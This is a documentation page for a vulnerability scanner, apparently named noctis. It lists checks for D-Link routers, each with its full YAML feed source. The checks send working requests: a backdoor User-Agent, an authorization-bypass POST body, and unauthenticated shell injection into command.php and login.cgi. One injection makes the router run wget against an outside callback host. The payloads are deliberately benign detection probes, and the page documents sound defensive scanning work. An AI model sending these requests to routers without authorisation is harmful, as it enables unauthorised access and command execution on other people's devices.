D-Link Routers — 8 vulnerability checks
noctis ships 8 vulnerability checks for D-Link Routers, covering 13 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
D-Link / Alpha Networks Routers User-Agent Authentication Backdoor
| CVE | CVE-2013-6026 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match, tcp_connect · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-routers/CVE-2013-6026.yaml |
Detects the authentication backdoor in the web interface of D-Link DIR-100, DIR-120, DI-524UP, DI-604S, DI-604UP, DI-604+, DI-624S and TM-G5240 routers, Planex BRL-04R/UR/CW and other Alpha Networks routers (CVE-2013-6026, exploited in the wild in 2013): a request whose User-Agent is xmlset_roodkcableoj28840ybtide is served without any login. The test is read-only. It requests the home page three times: with a browser User-Agent (must be refused with 401 or a redirect), with the backdoor User-Agent (must answer 200), and with a User-Agent one character off the backdoor string (must be refused again). The finding is reported only when the backdoor string alone opens the admin interface. Firmwares that answer the backdoor request with a bare JavaScript redirect and no HTTP status line are checked over a raw socket (two more requests) and reported at a lower confidence only when the near-miss User-Agent gets a real 401 or redirect refusal.
How noctis detects it
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- Checks
verdict.okfor^backdoor-user-agent-only$→ finding QoD 97: Authentication bypassed with the backdoor User-Agent: GET / answered … to a browser User-Agent, 200 to xmlset_roodkcableoj28840ybtide (admi… - Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
raw_verdict.okfor^backdoor-user-agent-bare-reply$→ finding QoD 75: Backdoor User-Agent answered differently: GET / answered … to a browser User-Agent, while xmlset_roodkcableoj28840ybtide got a bare JavaScr…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-6026
- http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
- https://www.kb.cert.org/vuls/id/248083
Feed source — tests/vulnerabilities/dlink-routers/CVE-2013-6026.yaml
# D-Link DIR-100 / DIR-120 / DI-524UP / DI-604S / DI-604UP / DI-604+ / DI-624S /
# TM-G5240, Planex BRL-04R/UR/CW and other Alpha Networks thttpd routers —
# "xmlset_roodkcableoj28840ybtide" User-Agent authentication backdoor
# (CVE-2013-6026, exploited in the wild in October 2013).
#
# Ported from OpenVAS/Greenbone NVT
# `2013/gb_dlink_multiple_devices_backdoor_10_2013.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103810, GPL-2.0-only).
#
# The web server's auth check (alpha_auth_check) returns "authenticated" when
# the User-Agent is exactly xmlset_roodkcableoj28840ybtide, so any admin page
# is served without a login.
#
# Detection — a read-only auth bypass, nothing is changed on the router:
# 1. GET / with a normal browser User-Agent must be refused (401 or a
# 301/302/303/307 redirect, no JavaScript self.location.href), as in
# the NASL.
# 2. GET / with the backdoor User-Agent must answer 200 (the body may be a
# JavaScript bounce to the admin home page; the control below covers it).
# 3. Negative control (not in the NASL): GET / again with a near-miss
# User-Agent (last character changed) must still be refused. A host that
# lets in any non-browser client, or whose auth state flipped between
# requests (IP-bound session opened by someone else meanwhile), is not
# reported.
#
# Deviations from the NASL (intentional): the NASL first requires a
# thttpd-alphanetworks / Alpha_webserv Server banner; this feed drops that gate
# (rebranded firmwares such as Planex BRL-04 ship other banners) and relies on
# the three-request differential instead. Redirects are never followed, so a
# 302 to the login page is seen as a refusal, not as the 200 login page. The
# NASL's second success form (a reply without an HTTP status line that holds
# self.location.href) is kept as a raw-socket fallback (http_request cannot
# parse such a reply), with the same near-miss control, at QoD 75.
uid: 83ac24ea-fcaf-4f36-a0d5-46b261f92302
name: "D-Link / Alpha Networks Routers User-Agent Authentication Backdoor (CVE-2013-6026)"
description: |
Detects the authentication backdoor in the web interface of D-Link DIR-100,
DIR-120, DI-524UP, DI-604S, DI-604UP, DI-604+, DI-624S and TM-G5240 routers,
Planex BRL-04R/UR/CW and other Alpha Networks routers (CVE-2013-6026,
exploited in the wild in 2013): a request whose User-Agent is
xmlset_roodkcableoj28840ybtide is served without any login. The test is
read-only. It requests the home page three times: with a browser User-Agent
(must be refused with 401 or a redirect), with the backdoor User-Agent (must
answer 200), and with a User-Agent one character off the backdoor string
(must be refused again). The finding is reported only when the backdoor
string alone opens the admin interface. Firmwares that answer the backdoor
request with a bare JavaScript redirect and no HTTP status line are checked
over a raw socket (two more requests) and reported at a lower confidence only
when the near-miss User-Agent gets a real 401 or redirect refusal.
cves: [CVE-2013-6026]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [dlink, alpha-networks, planex, router, backdoor, auth-bypass, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-6026"
- "http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/"
- "https://www.kb.cert.org/vuls/id/248083"
steps:
# Pre-initialise every stored result so later conditions never read an
# undefined variable (a failed request leaves store_as unset).
- id: init-base
action: set_var
var_name: base
var_value: {status: 0, body: "", headers: {}}
- id: init-bd
action: set_var
var_name: bd
var_value: {status: 0, body: "", headers: {}}
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: "", headers: {}}
- id: init-login-required
action: set_var
var_name: login_required
var_value: false
- id: init-bypassed
action: set_var
var_name: bypassed
var_value: false
# 1. A normal browser must be sent to the login page.
- id: baseline
action: http_request
method: GET
path: /
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36"
store_as: base
- id: check-login-required
action: script
code: |
let refused = base.status == 401 || (base.status >= 301 && base.status <= 303) || base.status == 307;
refused && !base.body.contains("self.location.href")
store_as: login_required
# 2. Same request with the backdoor User-Agent.
- id: backdoor
action: http_request
method: GET
path: /
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "login_required == true"
headers:
User-Agent: "xmlset_roodkcableoj28840ybtide"
store_as: bd
- id: check-bypassed
action: script
condition: "login_required == true"
code: |
bd.status == 200
store_as: bypassed
# 3. Negative control: one character off the backdoor string.
- id: near-miss-control
action: http_request
method: GET
path: /
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "bypassed == true"
headers:
User-Agent: "xmlset_roodkcableoj28840ybtidX"
store_as: ctl
- id: verdict
action: script
condition: "bypassed == true"
code: |
let refused = ctl.status == 401 || (ctl.status >= 301 && ctl.status <= 303) || ctl.status == 307;
let ok = if refused && !ctl.body.contains("self.location.href") { "backdoor-user-agent-only" } else { "" };
#{ ok: ok, size: bd.body.len() }
store_as: verdict
- id: report
action: match
condition: "bypassed == true"
source: verdict.ok
pattern: "^backdoor-user-agent-only$"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Authentication bypassed with the backdoor User-Agent: GET / answered {{base.status}} to a browser User-Agent, 200 to xmlset_roodkcableoj28840ybtide (admin page served without login, {{verdict.size}} bytes) and {{ctl.status}} again to a near-miss User-Agent"
remediation: "Upgrade the router to the vendor firmware that removes the backdoor (D-Link released fixed firmware for the affected models in December 2013) or replace end-of-life devices; never expose the web administration interface to untrusted networks."
# ── Fallback: reply without an HTTP status line ───────────────────────────
# Some firmwares answer the backdoor request with a bare JavaScript redirect
# and no status line; reqwest rejects that reply (bd.status stays 0). Read it
# raw and require the near-miss User-Agent NOT to get the same bare reply.
- id: init-raw-bd
action: set_var
var_name: raw_bd
var_value: {connected: false, banner: ""}
- id: init-raw-ctl
action: set_var
var_name: raw_ctl
var_value: {connected: false, banner: ""}
- id: init-raw-verdict
action: set_var
var_name: raw_verdict
var_value: {ok: ""}
- id: raw-backdoor
action: tcp_connect
port: "{{port}}"
condition: "login_required == true && bd.status == 0"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: xmlset_roodkcableoj28840ybtide\r\n\r\n"
store_as: raw_bd
- id: raw-near-miss-control
action: tcp_connect
port: "{{port}}"
condition: "login_required == true && bd.status == 0 && raw_bd.connected == true"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: xmlset_roodkcableoj28840ybtidX\r\n\r\n"
store_as: raw_ctl
- id: raw-verdict
action: script
condition: "login_required == true && bd.status == 0 && raw_bd.connected == true"
code: |
let b = if type_of(raw_bd.banner) == "string" { raw_bd.banner } else { "" };
let c = if type_of(raw_ctl.banner) == "string" { raw_ctl.banner } else { "" };
let b_bare = !b.starts_with("HTTP/") && b.contains("self.location.href");
// Fail closed: the near-miss control must PROVE a refusal (an HTTP 401
// or 3xx status line). No reply, a reset or a slow reply is not proof.
let c_refused = raw_ctl.connected == true && ereg("^HTTP/1\\.[01] (401|30[1237])\\b", c);
let ok = if b_bare && c_refused { "backdoor-user-agent-bare-reply" } else { "" };
#{ ok: ok }
store_as: raw_verdict
- id: raw-report
action: match
condition: "login_required == true && bd.status == 0 && raw_bd.connected == true"
source: raw_verdict.ok
pattern: "^backdoor-user-agent-bare-reply$"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Backdoor User-Agent answered differently: GET / answered {{base.status}} to a browser User-Agent, while xmlset_roodkcableoj28840ybtide got a bare JavaScript redirect (no HTTP status line) that a near-miss User-Agent did not get"
remediation: "Upgrade the router to the vendor firmware that removes the backdoor (D-Link released fixed firmware for the affected models in December 2013) or replace end-of-life devices; never expose the web administration interface to untrusted networks."D-Link DIR getcfg.php Authorization Bypass Information Disclosure
| CVE | CVE-2019-17506 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/dlink-routers/CVE-2019-17506.yaml |
Detects the unauthenticated authorization bypass in /getcfg.php on D-Link DIR-868L / DIR-817LW (and related DIR) routers (CVE-2019-17506): appending AUTHORIZED_GROUP=1%0a to the POST body makes the device return configuration modules reserved to an authenticated admin. Confirmed by reading the non-secret DEVICE.TIME / DEVICE.HOSTNAME modules (refused without the bypass) instead of the admin credentials.
How noctis detects it
- HTTP(S) request
POST /getcfg.phpwith a crafted body - Checks
base_resp.bodyfor<module>\s*<service>DEVICE\.(TIME|HOSTNAME)</service> - HTTP(S) request
POST /getcfg.phpwith a crafted body - Checks
resp.bodyfor<module>\s*<service>DEVICE\.(TIME|HOSTNAME)</service>→ finding QoD 75: D-Link getcfg.php returned the admin-only DEVICE.TIME/DEVICE.HOSTNAME config modules to an unauthenticated POST carrying AUTHORIZED_GROUP=1…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-17506
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17506.yaml
Feed source — tests/vulnerabilities/dlink-routers/CVE-2019-17506.yaml
# D-Link DIR-868L / DIR-817LW — getcfg.php authorization bypass (CVE-2019-17506)
#
# Ported from OpenVAS/Greenbone NVT `2019/dlink/gb_dlink_dir_inf_disc_vuln_oct19.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.113547, GPL-2.0-only); same request as the Nuclei
# template `http/cves/2019/CVE-2019-17506.yaml`.
#
# /getcfg.php returns the configuration modules named in `SERVICES` only to a
# "power user" (`AUTHORIZED_GROUP` >= 0, normally set by the session). On
# DIR-868L B1 <= 2.03 and DIR-817LW A1 <= 1.04 (other DIR models share the
# code), appending `AUTHORIZED_GROUP=1%0a` to the POST body makes the CGI wrapper
# inject that value as a global, so any unauthenticated client can read any
# configuration module — including DEVICE.ACCOUNT (admin name + password).
#
# Detection — real exploitation of the bypass, benign (QoD 75):
# 1. Baseline: POST `SERVICES=DEVICE.TIME,DEVICE.HOSTNAME` without the bypass
# → a device that enforces authorization answers "Not authorized".
# 2. Bypass: same POST + `&AUTHORIZED_GROUP=1%0a` → the reply must carry a
# `<module><service>DEVICE.TIME|DEVICE.HOSTNAME</service>` block, i.e. a
# config module the anonymous client is not allowed to read, and the
# baseline must not have carried it (so the bypass parameter is what
# opened it, not a device that serves getcfg without auth anyway).
# The request body never contains `<module>`/`<service>`, so a server that
# reflects the request cannot match.
#
# Deviation from the NASL / Nuclei (intentional, per the project's
# benign-proof rule — and fewer side effects for the same proof): both request
# DEVICE.ACCOUNT and match on the admin `<password>`, pulling the device's
# admin credentials into the scan report. This feed reads the non-secret clock
# and hostname modules through the exact same bypass instead, so no secret ever
# leaves the device. The NASL also needs a prior D-Link fingerprint; this feed
# probes /getcfg.php directly (the proof itself is the identification).
uid: 1b2e4727-eef8-4fb0-8a83-625cb1f30862
name: "D-Link DIR getcfg.php Authorization Bypass Information Disclosure (CVE-2019-17506)"
description: |
Detects the unauthenticated authorization bypass in /getcfg.php on D-Link
DIR-868L / DIR-817LW (and related DIR) routers (CVE-2019-17506): appending
AUTHORIZED_GROUP=1%0a to the POST body makes the device return configuration
modules reserved to an authenticated admin. Confirmed by reading the
non-secret DEVICE.TIME / DEVICE.HOSTNAME modules (refused without the bypass)
instead of the admin credentials.
cves: [CVE-2019-17506]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [dlink, router, dir-868l, dir-817lw, auth-bypass, information-disclosure, iot, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-17506"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17506.yaml"
steps:
- id: init-baseline
action: set_var
var_name: baseline_open
var_value: false
# 1. Baseline — same modules, no bypass parameter.
- id: getcfg-baseline
action: http_request
method: POST
path: "/getcfg.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
Accept: "*/*"
body: "SERVICES=DEVICE.TIME,DEVICE.HOSTNAME"
store_as: base_resp
- id: baseline-open
action: match
source: base_resp.body
pattern: "<module>\\s*<service>DEVICE\\.(TIME|HOSTNAME)</service>"
on_match:
set_vars:
baseline_open: true
# 2. Bypass — `%0a` is sent verbatim in the body (reqwest does not touch it).
- id: getcfg-bypass
action: http_request
method: POST
path: "/getcfg.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
Accept: "*/*"
body: "SERVICES=DEVICE.TIME,DEVICE.HOSTNAME&AUTHORIZED_GROUP=1%0a"
store_as: resp
- id: bypass-match
action: match
source: resp.body
pattern: "<module>\\s*<service>DEVICE\\.(TIME|HOSTNAME)</service>"
condition: "baseline_open == false && resp.status == 200"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "D-Link getcfg.php returned the admin-only DEVICE.TIME/DEVICE.HOSTNAME config modules to an unauthenticated POST carrying AUTHORIZED_GROUP=1%0a; the same request without it was refused (no credentials requested)"
stop: trueD-Link DIR-300 / DIR-600 command.php unauthenticated command execution
| CVE | CVE-2013-10048, CVE-2013-10069 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-routers/dir300-dir600-command-php-rce.yaml |
Detects the unauthenticated OS command execution in the command.php page of D-Link DIR-300 rev B (firmware 2.13 and earlier) and DIR-600 (firmware 2.14b01 and earlier) routers, which runs the posted `cmd` field through the shell as root and returns its output. The feed sends an unauthenticated POST to /command.php whose `cmd` is a harmless command printing NOCTIS followed by the product of two random numbers, computed with `expr`; when that gives no proof, a second request computes it with shell arithmetic instead. The finding fires when the computed product comes back in the response, which only happens when the router ran the command without asking for a password. Nothing is read or written on the device.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /command.phpwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /command.phpwith a crafted body - Checks
inj.bodyforNOCTIS[0-9]{9,10}→ finding QoD 97: Unauthenticated POST /command.php ran `echo NOCTIS` + `expr … '*' …` and returned the shell-computed marker … at …:… - Checks
inj2.bodyforNOCTIS[0-9]{9,10}→ finding QoD 97: Unauthenticated POST /command.php ran `echo NOCTIS$((…*…))` and returned the shell-computed marker … at …:…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-10048
- https://nvd.nist.gov/vuln/detail/CVE-2013-10069
- https://www.exploit-db.com/exploits/24453
- http://www.s3cur1ty.de/m1adv2013-003
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb
Feed source — tests/vulnerabilities/dlink-routers/dir300-dir600-command-php-rce.yaml
# D-Link DIR-300 rev B / DIR-600 — command.php unauthenticated OS command execution
# (CVE-2013-10048, CVE-2013-10069 — disclosed Feb 2013 as s3cur1ty M1ADV2013-003,
# EDB-24453; later abused by the IoT botnet "Reaper")
#
# Ported from OpenVAS/Greenbone NASL 2013/dlink/gb_dir600_dir300_rce_vuln_feb13.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103656, GPL-2.0-only). The NASL POSTs `cmd=ls -l /;`
# to /command.php without authentication and matches the directory listing
# (`www`, `sbin`, `var`, `drwxrwxr-x`). command.php hands the `cmd` form field
# to the shell as root and returns its output in the response body. Same
# request as the Metasploit modules dlink_command_php_exec_noauth (telnetd spawn,
# cited by CVE-2013-10048) and auxiliary/admin/http/dlink_dir_300_600_exec_noauth
# (cited by CVE-2013-10069): both CVE records describe this one command.php sink,
# so both are listed.
#
# Better than the NASL:
# - Proof: instead of listing `/`, the command is `echo NOCTIS`expr a '*' b``
# with two random 5-digit numbers, then (only if that gave no proof)
# `echo NOCTIS$((a*b))` in a second request. The product never appears in
# the request, so a page that reflects the posted field (even through a filter
# stripping `$`, `(`, `)` or backticks) cannot match. Two forms because old
# BusyBox msh lacks $((...)) and minimal BusyBox builds may lack the expr
# applet; two requests because a shell that rejects $((...)) as a syntax
# error would void the whole line. Nothing is read or written on the device.
# - No dependency on the root filesystem layout: the NASL needs `www`, `sbin`,
# `var` AND a `drwxrwxr-x` entry in `ls -l /`, which other firmware builds
# (different mount permissions, a read-only squashfs root showing
# `drwxr-xr-x`) do not print — false negatives the arithmetic proof avoids.
# - No product-detection pre-gate: the NASL only runs when a prior D-Link
# detection identified a DIR-300/600 on the port; a rebranded or OEM build
# (Alpha Networks firmware is shared across vendors) is still tested here.
# The body is sent raw, like the NASL and the Metasploit auxiliary module (the
# exploit module percent-encodes, so the form parser decodes %XX; a raw body
# without `+`, `&` or `%` reads the same either way), hence a product rather
# than a sum — a raw `+` decodes to a space.
# Operands stay in 20000..46000 so the product fits a signed 32-bit integer:
# old 32-bit MIPS BusyBox builds compute expr / $((...)) in a C long.
# Keeps the NASL's `Cookie: uid=<random>` and Referer headers (harmless; kept
# so the request matches the one the NASL was validated with).
# CVSS 9.8 is the NVD v3.1 score of both CVE records.
uid: 0471a2d9-fa45-4eb1-b79f-c694414ce0e6
name: "D-Link DIR-300 / DIR-600 command.php unauthenticated command execution"
description: |
Detects the unauthenticated OS command execution in the command.php page of
D-Link DIR-300 rev B (firmware 2.13 and earlier) and DIR-600 (firmware
2.14b01 and earlier) routers, which runs the posted `cmd` field through the
shell as root and returns its output. The feed sends an unauthenticated POST
to /command.php whose `cmd` is a harmless command printing NOCTIS followed by
the product of two random numbers, computed with `expr`; when that gives no
proof, a second request computes it with shell arithmetic instead. The
finding fires when the computed product comes back in the response, which only
happens when the router ran the command without asking for a password.
Nothing is read or written on the device.
cves: [CVE-2013-10048, CVE-2013-10069]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [dlink, dir-300, dir-600, router, rce, command-injection, pre-auth, intrusive, reaper, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-10048"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-10069"
- "https://www.exploit-db.com/exploits/24453"
- "http://www.s3cur1ty.de/m1adv2013-003"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb"
steps:
# Pre-initialise the stored results read by the confirm conditions.
- id: init-inj
action: set_var
var_name: inj
var_value: {status: 0, body: ""}
- id: init-inj2
action: set_var
var_name: inj2
var_value: {status: 0, body: ""}
# Random operands; only their product (never sent) proves execution.
- id: build
action: script
store_as: p
code: |
let a = rand_int(20000, 46000);
let b = rand_int(20000, 46000);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a * b), uid: rand_hex(8) }
# 1st form: cmd = echo NOCTIS`expr a '*' b` (any Bourne shell, BusyBox msh
# too). The body goes out verbatim (http_request does not normalise it).
- id: inject
action: http_request
method: POST
path: "/command.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
Referer: "{{scheme}}://{{target_host}}/"
Cookie: "uid={{p.uid}}"
body: "cmd=echo NOCTIS`expr {{p.a}} '*' {{p.b}}`;"
store_as: inj
- id: check-expr
action: script
store_as: hit
code: |
type_of(inj.body) == "string" && stridx(inj.body, p.marker) >= 0
# 2nd form, only when the 1st gave no proof (BusyBox without the expr
# applet): cmd = echo NOCTIS$((a*b)). Sent separately so a shell that
# rejects $((...)) as a syntax error cannot also void the expr form.
- id: inject-arith
action: http_request
method: POST
path: "/command.php"
port: "{{port}}"
condition: "hit == false"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
Referer: "{{scheme}}://{{target_host}}/"
Cookie: "uid={{p.uid}}"
body: "cmd=echo NOCTIS$(({{p.a}}*{{p.b}}));"
store_as: inj2
- id: confirm-expr
action: match
source: inj.body
pattern: "NOCTIS[0-9]{9,10}"
condition: "hit == true"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated POST /command.php ran `echo NOCTIS` + `expr {{p.a}} '*' {{p.b}}` and returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true
- id: confirm-arith
action: match
source: inj2.body
pattern: "NOCTIS[0-9]{9,10}"
condition: "hit == false && type_of(inj2.body) == \"string\" && stridx(inj2.body, p.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated POST /command.php ran `echo NOCTIS$(({{p.a}}*{{p.b}}))` and returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: trueD-Link DSL-2750B login.cgi Unauthenticated Command Injection
| CVE | CVE-2016-20017 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-routers/CVE-2016-20017.yaml |
Detects the D-Link DSL-2750B unauthenticated OS command injection in /login.cgi via the `cli` parameter (CVE-2016-20017, CISA KEV). Confirmation is keyed on a per-run command-substitution collapse: an inert echo separates a fixed prefix from a random token with an empty $() substitution, and the finding fires only when a real shell joins them back into the expected marker. When OOB is configured, a blind wget callback covers firmware that executes the command without echoing its output.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /login.cgi?cli=multilingual%20show%27;echo%20NOCTIS%24%28%29{{tok}}%27$ HTTP/1.0 - Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: D-Link DSL-2750B command injection confirmed via /login.cgi cli parameter: a shell collapsed the per-run payload echo NOCTIS$()<tok> into t… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /login.cgi?cli=multilingual%20show%27;wget%20-q%20-O%20/dev/null%20http://{{oob_host}… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: D-Link DSL-2750B blind command injection confirmed via /login.cgi cli parameter: a shell collapsed the $()-split OOB token and the injected…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-20017
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb
Feed source — tests/vulnerabilities/dlink-routers/CVE-2016-20017.yaml
# D-Link DSL-2750B — unauthenticated OS command injection in login.cgi (CVE-2016-20017)
#
# Ported from OpenVAS/Greenbone NVT `2018/dlink/gb_dlink_dsl_login_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108458, GPL-2.0-only); same injection point as the
# Metasploit module `exploits/linux/http/dlink_dsl2750b_exec_noauth`.
#
# The DSL-2750B (before firmware 1.05; PoCs target 1.01 - 1.03) passes the `cli` query parameter of
# /login.cgi to a shell without authentication. Closing the quote with `'`
# and chaining with `;` runs an attacker-chosen command as root. CISA KEV,
# exploited in the wild by Mirai/Moobot botnets.
#
# Detection — two benign proofs, nothing written, read or persisted:
# 1. In-band command-substitution collapse (QoD 97). A `script` step mints a
# per-run token `tok = rand_hex(16)`. The NASL request is sent with its
# injected command replaced by `echo NOCTIS$()<tok>`. Only a real shell
# collapses the empty `$()` and returns the joined marker NOCTIS<tok>; a
# device that reflects the request keeps `$()` (or `%24%28%29`) in place.
# 2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire). Same injection point, the command is
# `wget -q -O /dev/null http://<oob>/<a>$()<b>` where <a><b> = oob_token:
# some firmware builds run the command but do not echo its output into the
# page — the NASL misses those, the callback catches them. The token is
# split by an empty $() so only a real shell rebuilds the callback path; a
# proxy/IDS that merely fetches URLs seen in the request hits a wrong path.
# Output goes to /dev/null, nothing is stored on the device.
#
# Deviation from the NASL (intentional, per the project's benign-proof rule):
# the NASL injects `cat /etc/passwd` and greps `root:.*:0:0`. The echo marker
# exercises the same injection point and output channel without reading a
# system file off the target, so no passwd fallback is sent. The NASL also
# requires a prior DSL-2750B fingerprint; this feed probes /login.cgi directly
# on every http/https port (the proof itself is the identification).
#
# Requests go through `tcp_connect` so `%27`, `;`, `%24%28%29` and `$` reach the
# CGI byte-for-byte (no client-side URL normalisation).
uid: d0b6ee26-16e9-4c73-862e-6947d605629c
name: "D-Link DSL-2750B login.cgi Unauthenticated Command Injection (CVE-2016-20017)"
description: |
Detects the D-Link DSL-2750B unauthenticated OS command injection in
/login.cgi via the `cli` parameter (CVE-2016-20017, CISA KEV). Confirmation is
keyed on a per-run command-substitution collapse: an inert echo separates a
fixed prefix from a random token with an empty $() substitution, and the
finding fires only when a real shell joins them back into the expected
marker. When OOB is configured, a blind wget callback covers firmware that
executes the command without echoing its output.
cves: [CVE-2016-20017]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [dlink, dsl-2750b, router, command-injection, rce, iot, kev, botnet, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-20017"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb"
steps:
# Per-run token + expected joined marker. rand_hex(16) => 32 hex chars.
- id: gen-token
action: script
code: |
rand_hex(16)
store_as: tok
- id: gen-marker
action: script
code: |
"NOCTIS" + tok
store_as: marker
# NASL request, injected command swapped for `echo NOCTIS$()<tok>`:
# %20 = space %27 = ' %24%28%29 = $()
- id: inject
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /login.cgi?cli=multilingual%20show%27;echo%20NOCTIS%24%28%29{{tok}}%27$ HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp
# Confirm RCE: the joined per-run marker must appear in the reply.
# stridx(banner, marker) >= 0 requires the collapsed NOCTIS<tok>, which a raw
# reflection (NOCTIS$()<tok> or NOCTIS%24%28%29<tok>) cannot produce. If no
# reply arrived, resp.banner is () and the condition is false.
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.connected == true && stridx(resp.banner, marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "D-Link DSL-2750B command injection confirmed via /login.cgi cli parameter: a shell collapsed the per-run payload echo NOCTIS$()<tok> into the joined marker {{marker}}"
stop: true
# Blind fallback (reached only when the in-band proof did not fire): same
# injection point, the command fetches the per-run OOB URL to /dev/null.
# Split the OOB token around an empty $() (sent as %24%28%29) so that only a
# shell collapses it back into /<oob_token>.
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
# The space before the closing %27$ keeps the trailing `$` out of the URL.
- id: inject-oob
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: "oob_enabled"
send: "GET /login.cgi?cli=multilingual%20show%27;wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%27$ HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "D-Link DSL-2750B blind command injection confirmed via /login.cgi cli parameter: a shell collapsed the $()-split OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
stop: trueD-Link Routers Unauthenticated Command Injection RCE
| CVE | CVE-2019-16920 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
